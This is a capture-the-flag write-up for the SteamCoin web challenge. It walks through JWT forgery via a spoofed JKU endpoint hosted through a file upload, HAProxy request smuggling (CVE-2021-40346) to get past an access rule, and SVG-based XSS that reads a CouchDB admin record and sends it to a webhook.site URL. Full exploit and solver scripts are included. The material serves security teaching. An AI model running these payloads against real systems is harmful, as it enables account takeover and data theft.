Write-Ups
Rayhan0x01,
Dec 14
2021
In this write-up, we'll go over the solution for the medium difficulty web challenge SteamCoin that requires the exploitation of multiple server-side and client-side vulnerabilities. The solution involves a JWT authentication bypass through JKU claim misuse using unrestricted file upload, HTTP request smuggling for ACL bypass, and XSS to CSRF on an automated UI testing service to exfiltrate the flag from CouchDB.
Visiting the application homepage displays a login form and a link to the registration page. Since we don't have an account, we can create an account via the registration page and log in. After logging in, the user is redirected to the following dashboard page:
The Settings page contains an upload form. We are allowed to upload an image or a pdf extension file, and the uploaded file link is displayed after a successful upload:
That is all the accessible features as a regular user on this web application. Since the source code is given for this application, we can take a look at the application routing from the routes/index.js file and see all the endpoints available:
The application uses CouchDB as its DBMS, and the credentials are hardcoded in the /database.js file. When the database is initiated, an admin record is created where the flag is stored on the `verification_doc` field:
The goal is to read the flag stored inside the "users" database of the Apache CouchDB instance running on the localhost.
After logging in, a JWT session cookie is assigned to us that we can inspect on jwt.io:
We can see a JWKS endpoint on the `JKU` header claim, and the algorithm used to sign the JWT token is RS256, which uses a public/private key pair. The private key is used to sign the token, and the public key is used to validate and decode the token contents. The JWKS endpoint contains one or more public key components indexed by the `kid` value.
Source: https://community.auth0.com/t/rs256-vs-hs256-jwt-signing-algorithms/58609
From the middleware/AuthMiddleware.js file, we can see a check is placed to make sure the JKU endpoint starts with `http://localhost:1337/`:
if (header.jku && header.kid){
if (header.jku.lastIndexOf('http://localhost:1337/', 0) !== 0) {
return res.status(500).send(response('The JWKS endpoint is not from localhost!'));
}
...
}
Next, the JKU endpoint is fetched via the `jwks-rsa` module to get the public key as defined in the helpers/JWTHelper.js file:
async getPublicKey(jku, kid) {
return new Promise(async (resolve, reject) => {
client = jwksClient({
jwksUri: jku,
timeout: 30000
});
client.getSigningKey(kid)
.then(key => {
resolve(key.getPublicKey());
})
.catch(e => {
reject(e);
});
});
}
If we review the upload feature endpoint defined in the routes/index.js file, we can see only an extension check is placed that makes sure the file extension ends with either JPG, PNG, SVG, or PDF:
const isValidFile = (file) => {
return [
'jpg',
'png',
'svg',
'pdf'
].includes(file.name.split('.').slice(-1)[0])
}
...
router.post('/api/upload', AuthMiddleware, async (req, res) => {
return db.getUser(req.data.username)
.then(user => {
if (!req.files || !req.files.verificationDoc) return res.status(400).send(response('No files were uploaded.'));
let verificationDoc = req.files.verificationDoc;
if (!isValidFile(verificationDoc)) return res.status(403).send(response('The file must be an image or pdf!'));
let filename = `${verificationDoc.md5}.${verificationDoc.name.split('.').slice(-1)[0]}`;
uploadPath = path.join(__dirname, '/../uploads', filename);
verificationDoc.mv(uploadPath, (err) => {
if (err) return res.status(500).send(response('Something went wrong!'));
});
if(user.verification_doc && user.verification_doc !== filename){
fs.unlinkSync(path.join(__dirname, '/../uploads',user.verification_doc));
}
user.verification_doc = filename;
db.updateUser(user)
.then(() =>{
res.send({'message':'verification file uploaded successfully!','filename':filename});
})
.catch(() => res.status(500).send(response('Something went wrong!')));
})
.catch(err => res.status(500).send(response(err.message)));
});
Since the uploaded files are hosted on the same host with no content validation, we can upload our JWKS content and spoof the JKU endpoint to bypass the authentication for the admin account. The following Python3 exploit script prepares the JWKS contents, creates a user account, and uses the upload feature to upload our JWKS content on the target host. Finally, it creates a forged session cookie with the spoofed JKU endpoint:
import sys, requests, json, random, jwt, base64
from Crypto.PublicKey import RSA
hostURL = "http://127.0.0.1:1337" # Challenge host URL
userName = "user%d" % random.randint(1111,9999) # new username
userPwd = "pass%d" % random.randint(1111,9999) # new password
def int_to_bytes(x: int) -> bytes:
return x.to_bytes((x.bit_length() + 7) // 8, 'big')
keyPair = RSA.generate(2048)
pubKey = keyPair.publickey().exportKey('PEM').decode()
privKey = keyPair.exportKey('PEM').decode()
keyE = base64.b64encode(int_to_bytes(keyPair.e)).decode()
keyN = base64.b64encode(int_to_bytes(keyPair.n)).decode()
jkuData = {
"keys": [{
"alg": "RS256",
"kty": "RSA",
"use": "sig",
"e": "%s" % keyE,
"n": "%s" % keyN,
"kid": "pwn3d"
}]
}
def register():
jData = { "username": userName, "password": userPwd }
req_stat = requests.post("%s/api/register" % hostURL,json=jData).status_code
if not req_stat == 200:
print("Something went wrong! Is the challenge host live?")
sys.exit()
def login():
jData = { "username": userName, "password": userPwd }
authCookie = requests.post("%s/api/login" % hostURL, json=jData).cookies.get('session')
if not authCookie:
print("Something went wrong while logging in!")
sys.exit()
return authCookie
def get_resp(cookie):
cookies = {"session": cookie}
resp = requests.get("%s/dashboard" % hostURL, cookies=cookies)
return resp.text
def jwt_decode(encoded):
header = jwt.get_unverified_header(encoded);
payload = jwt.decode(encoded, options={"verify_signature": False})
return (header,payload)
def jwt_encode(secret, header, payload):
return jwt.encode(payload, secret, algorithm="RS256", headers=header).decode('utf-8')
def upload_doc(cookie):
cookies = {"session": cookie}
files = {'verificationDoc' : ('passport1.pdf', json.dumps(jkuData))}
resp = requests.post("%s/api/upload" % hostURL, cookies=cookies, files=files)
filename = resp.json().get('filename')
if not filename:
print('Something went wrong uploading the doc file!')
sys.exit()
return filename
print("[+] Signing up a new account..")
register()
print("[~] Logging in, extracting JWT auth cookie..")
cookie = login()
header, payload = jwt_decode(cookie)
print("[+] Uploading our JWKS contents as a pdf file..")
pubkeyFile = upload_doc(cookie)
print("[~] JWKS contents uploaded at : /uploads/%s" % pubkeyFile)
print("[+] Overwriting the JKU endpoint with our uploaded file link")
header = {"jku":"http://localhost:1337/uploads/%s" % pubkeyFile, "kid":"pwn3d"}
print("[+] changing username to 'admin', signing JWT with our private key")
payload['username'] = 'admin'
encCookie = jwt_encode(privKey, header, payload)
print("[+] Requesting dashboard for admin with forged cookie")
getDashboard = get_resp(encCookie)
if 'Logout' not in getDashboard:
print('[!] Failed to access admin panel with forged cookie!')
sys.exit()
print('[+] Congrats the exploit worked!')
print('[~] Forged cookie : %s' % encCookie)
After running the script, we can see the exploitation worked and gave us a forged session cookie:
Now that we have admin account access, we should be able to access the `/api/test-ui` endpoint defined in the routes/index.js file:
router.post('/api/test-ui', AuthMiddleware, (req, res) => {
return db.getUser(req.data.username)
.then(user => {
if (user.username !== 'admin') return res.status(403).send(response('You are not an admin!'));
let { path, keyword } = req.body;
if (path, keyword) {
if (path.startsWith('/')) path = path.replace('/','');
return ui_tester.testUI(path, keyword)
.then(resp => res.send(response(resp)))
.catch(e => res.send(response(e.toString())));
}
return res.status(500).send('Missing required parameters!');
})
.catch(() => res.status(500).send(response('Authentication required!')));
});
The endpoint accepts `path` and `keyword` parameters and envokes the `testUI()` function from the /bot.js file for automated UI testing using Puppeteer. A headless Chrome instance is launched that visits the relative path to the application host and checks for the keyword string inside the HTML body:
const testUI = async (path, keyword) => {
return new Promise(async (resolve, reject) => {
const browser = await puppeteer.launch(browser_options);
let context = await browser.createIncognitoBrowserContext();
let page = await context.newPage();
try {
await page.goto(`http://127.0.0.1:1337/${path}`, {
waitUntil: 'networkidle2'
});
await page.waitForTimeout(8000);
await page.evaluate((keyword) => {
return document.querySelector('body').innerText.includes(keyword)
}, keyword)
.then(isMatch => resolve(isMatch));
} catch(e) {
reject(false);
}
await browser.close();
});
};
Since it's a relative path, we can't request a foreign host, but we can send the bot to our uploaded file endpoint since we have unrestricted file upload. Previously we saw the upload endpoint accepts `.svg` file extension, and SVG files also support inline JavaScript code. We can verify this by uploading the following valid SVG image from a newly registered account:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="100" height="100" style="fill:rgb(0,0,64);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert("xss");
</script>
</svg>
Uploading the file and visiting the uploaded location leads to XSS:
This confirms that we have JavaScript execution.
Since the Puppeteer Chrome bot launches from the application host, it can request internal services via our XSS vector. Our ultimate goal is to read the CouchDB content somehow. Reviewing the /config/local.ini file shows that the CORS is enabled for all HTTP verbs, so our XSS can request the CouchDB rest API without any Same-Origin policy restrictions.
[httpd]
enable_cors = true
[cors]
origins = *
methods = GET, POST, PUT, HEAD
[admins]
admin = youwouldntdownloadacouch
Sending a POST request to the `/api/test-ui` endpoint with our forged admin session cookie yields the following response:
It looks like the endpoint is only accessible via localhost because of the ACL rules specified in the /config/haproxy.cfg file:
frontend http-in
bind *:8081
default_backend web
acl network_allowed src 127.0.0.1
acl restricted_page path_beg /api/test-ui
http-request deny if restricted_page !network_allowed
backend web
option http-keep-alive
option forwardfor
server server1 127.0.0.1:1337 maxconn 32
From the application Dockerfile, the HAProxy version installed is `2.4.0`. If we search for known exploits for this version, we quickly encounter the CVE-2021-40346. The installed version of the HAProxy contains an integer overflow that can be exploited to perform an HTTP request smuggling attack, allowing an attacker to bypass all configured "http-request" HAProxy ACLs.
The following blog post contains a detailed write-up on this vulnerability. To verify the exploit, we will upload the following SVG payload file that can send us a signal in our webhook if the file link is visited:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="100" height="100" style="fill:rgb(0,0,64);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
x = new Image();
x.src = "https://webhook.site/252da1c1-e2a7-4e1d-bed8-c8d1cf134ffa?visited=true"
</script>
</svg>
Next, we'll upload the document and copy its relative path on the server. Now we can test the HTTP Request Smuggling by sending the following request:
POST /api/login HTTP/1.1
Host: localhost
Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
Content-Length: 787
POST /api/test-ui HTTP/1.1
Host: localhost:1337
Content-Type: application/json
Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9sb2NhbGhvc3Q6MTMzNy91cGxvYWRzLzc3MTNhMzM5MTFhZjZiMDJkMWE4YTQ5ODMxMjA5YWI3LnBkZiIsImtpZCI6ImYwZjAyMmNiLTUzMGMtNGI4ZC1iZmIyLWMyNTExZjMzZDcwOSJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNjM2OTcwNjkzfQ.JEIPl2UC6akQDtx3u0nX2f6UygAIj8wkAwpaFZRBjUHMHXBQ2eWMmEz2pci49i7nWMHnwkjO7S_wgjlNQkqpESrY3VhU0tndLLeNu6P5BPPW2cEhVKBJp1ZQb1HoI7DaVMm3bidVK_Rc9FeUe_oieqYE7zXMLQ4WjRmz7yetvpr918gMlV-wmjT3o3xijs4Kql7PA1up6g0P8QRxw1DgV4ItX5AcPwltglEx-BOFir7e-3o4yTPg8JAslhZkTtvB5rjjuSZxal9OMB2gS8Xm31tdQXQHCX2XQyL_3ScVEiBKC6RzbjBILPznZCR6Dq1ZF8rYDDqRjSY-Es9oHC-qdA
Content-Length: 75
{"path":"/uploads/efb023c476ff09fdd61142d575d77200.svg", "keyword": "test"}
We get a hit on our webhook log by the Puppeteer bot that confirms we successfully bypassed the ACL!
We now have to prepare the exfiltration of the flag from CouchDB via XSS. The JavaScript code on the following SVG file will fetch the `admin` record and exfiltrate it via webhook URL:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="100" height="100" style="fill:rgb(0,0,64);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
authToken = "Basic " + btoa('admin' + ":" + 'youwouldntdownloadacouch');
fetch('http://127.0.0.1:5984/users/admin', {
method: 'GET',
headers: {
authorization: authToken
}
})
.then((response) => response.json())
.then(adminRow => {
ximg = new Image();
ximg.src = "https://webhook.site/252da1c1-e2a7-4e1d-bed8-c8d1cf134ffa?flag=" + encodeURIComponent(adminRow.verification_doc)
})
</script>
</svg>
Once the file has been uploaded, we can send the Request Smuggling payload with the new filename to trigger the XSS:
POST /api/login HTTP/1.1
Host: localhost
Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
Content-Length: 787
POST /api/test-ui HTTP/1.1
Host: localhost:1337
Content-Type: application/json
Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9sb2NhbGhvc3Q6MTMzNy91cGxvYWRzLzc3MTNhMzM5MTFhZjZiMDJkMWE4YTQ5ODMxMjA5YWI3LnBkZiIsImtpZCI6ImYwZjAyMmNiLTUzMGMtNGI4ZC1iZmIyLWMyNTExZjMzZDcwOSJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNjM2OTcwNjkzfQ.JEIPl2UC6akQDtx3u0nX2f6UygAIj8wkAwpaFZRBjUHMHXBQ2eWMmEz2pci49i7nWMHnwkjO7S_wgjlNQkqpESrY3VhU0tndLLeNu6P5BPPW2cEhVKBJp1ZQb1HoI7DaVMm3bidVK_Rc9FeUe_oieqYE7zXMLQ4WjRmz7yetvpr918gMlV-wmjT3o3xijs4Kql7PA1up6g0P8QRxw1DgV4ItX5AcPwltglEx-BOFir7e-3o4yTPg8JAslhZkTtvB5rjjuSZxal9OMB2gS8Xm31tdQXQHCX2XQyL_3ScVEiBKC6RzbjBILPznZCR6Dq1ZF8rYDDqRjSY-Es9oHC-qdA
Content-Length: 75
{"path":"/uploads/19ba3b114175982e59d7a04ad04627b5.svg", "keyword": "test"}
This should trigger the XSS, and the flag should arrive on our webhook log.
Here's the automatic solver script:
#!/usr/bin/env python3
import sys, requests, json, random, jwt, base64, socket, time
from Crypto.PublicKey import RSA
hostURL = 'http://127.0.0.1:1337' # Challenge host URL
userName = 'user%d' % random.randint(1111,9999) # new username
userPwd = 'pass%d' % random.randint(1111,9999) # new password
def int_to_bytes(x: int) -> bytes:
return x.to_bytes((x.bit_length() + 7) // 8, 'big')
keyPair = RSA.generate(2048)
pubKey = keyPair.publickey().exportKey('PEM').decode()
privKey = keyPair.exportKey('PEM').decode()
keyE = base64.b64encode(int_to_bytes(keyPair.e)).decode()
keyN = base64.b64encode(int_to_bytes(keyPair.n)).decode()
jkuData = {
"keys": [{
"alg": "RS256",
"kty": "RSA",
"use": "sig",
"e": "%s" % keyE,
"n": "%s" % keyN,
"kid": "pwn3d"
}]
}
def register():
jData = { "username": userName, "password": userPwd }
req_stat = requests.post("%s/api/register" % hostURL,json=jData).status_code
if not req_stat == 200:
print("Something went wrong! Is the challenge host live?")
sys.exit()
def login():
jData = { "username": userName, "password": userPwd }
authCookie = requests.post("%s/api/login" % hostURL, json=jData).cookies.get('session')
if not authCookie:
print("Something went wrong while logging in!")
sys.exit()
return authCookie
def get_resp(cookie):
cookies = {"session": cookie}
resp = requests.get("%s/dashboard" % hostURL, cookies=cookies)
return resp.text
def jwt_decode(encoded):
header = jwt.get_unverified_header(encoded);
payload = jwt.decode(encoded, options={"verify_signature": False})
return (header,payload)
def jwt_encode(secret, header, payload):
return jwt.encode(payload, secret, algorithm="RS256", headers=header).decode('utf-8')
def upload_doc(cookie, filename, filedata):
cookies = {"session": cookie}
files = {'verificationDoc' : (filename, filedata)}
resp = requests.post("%s/api/upload" % hostURL, cookies=cookies, files=files)
filename = resp.json().get('filename')
if not filename:
print('Something went wrong uploading the doc file!')
sys.exit()
return filename
def smuggle_request(adminCookie, xssFile):
postData = '{"path":"%s", "keyword": "Dancing Polish Cow"}' % xssFile
req_data = (
'POST /api/login HTTP/1.1\r\n'
'Host: localhost\r\n'
'Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:\r\n'
'Content-Length: 787\r\n'
'\r\n'
'POST /api/test-ui HTTP/1.1\r\n'
'Host: localhost:1337\r\n'
'Content-Type: application/json\r\n'
f'Cookie: session={adminCookie}\r\n'
f'Content-Length: {len(postData)}\r\n'
'\r\n'
f'{postData}\r\n'
)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host, port = hostURL.replace('http://','').split(':')
s.connect((host, int(port)))
s.send(req_data.encode())
s.recv(4096)
s.close()
def gen_svg(webhook_token):
svg_data = """<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="100" height="100" style="fill:rgb(0,0,64);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
authToken = "Basic " + btoa('admin' + ":" + 'youwouldntdownloadacouch');
fetch('http://127.0.0.1:5984/users/admin', {
method: 'GET',
headers: {
authorization: authToken
}
})
.then((response) => response.json())
.then(adminRow => {
ximg = new Image();
ximg.src = "https://webhook.site/%s?flag=" + encodeURIComponent(adminRow.verification_doc)
})
</script>
</svg>""" % webhook_token
return svg_data
class WEBHOOK:
def __init__(self):
self.url = "http://webhook.site"
try:
resp = requests.post('{}/token'.format(self.url), json={"actions": True, "alias": "xss-poc", "cors": False}, timeout=15)
self.token = resp.json()['uuid']
except:
print("[!] Couldn't reach webhook.site, please make sure we have internet access!")
sys.exit()
def get_flag(self):
try:
resp = requests.get('{}/token/{}/request/latest'.format(self.url,self.token), timeout=15)
flag = resp.json()['query']['flag']
except:
return False
return flag
def destroy(self):
requests.delete('{}/token/{}'.format(self.url,self.token), timeout=15)
print('[+] Signing up a new account..')
register()
print('[~] Logging in, extracting JWT auth cookie..')
cookie = login()
header, payload = jwt_decode(cookie)
print('[+] Uploading our JWKS contents as a pdf file..')
pubkeyFile = upload_doc(cookie, 'passport1.pdf', json.dumps(jkuData))
print('[~] JWKS contents uploaded at : /uploads/%s' % pubkeyFile)
print('[+] Overwriting the JKU endpoint with our uploaded file link..')
header = {"jku":"http://localhost:1337/uploads/%s" % pubkeyFile, "kid":"pwn3d"}
print('[+] changing username to admin, signing JWT with our private key..')
payload['username'] = 'admin'
admCookie = jwt_encode(privKey, header, payload)
print('[+] Requesting dashboard for admin with forged cookie..')
getDashboard = get_resp(admCookie)
if 'Logout' not in getDashboard:
print('[!] Failed to access admin panel with forged cookie!')
sys.exit()
print('[+] Admin authentication bypassed successfully!')
print('[+] Preparing a webhook and SVG XSS payload..')
webhook = WEBHOOK()
svgPayload = gen_svg(webhook.token)
print('[+] Uploading the SVG file from a new account..')
userName, userPwd = f'{userName}1', f'{userPwd}1'
register()
xssFile = upload_doc(login(), 'rh0x01.svg', svgPayload)
print('[+] Performing request smuggling for ACL bypass..')
smuggle_request(admCookie, f'/uploads/{xssFile}')
print('[+] Waiting for the flag to arrive!')
while True:
flag = webhook.get_flag()
if flag:
break
time.sleep(5)
print('[~] Flag arrived: {}'.format(flag))
print('[~] Cleaning up the webhook')
webhook.destroy()
The script performs all the things we discussed in this post and retrieves the flag:
And that's a wrap for this challenge write-up! If you want to have a go at this challenge, it's currently available to play in the challenges section of our platform here.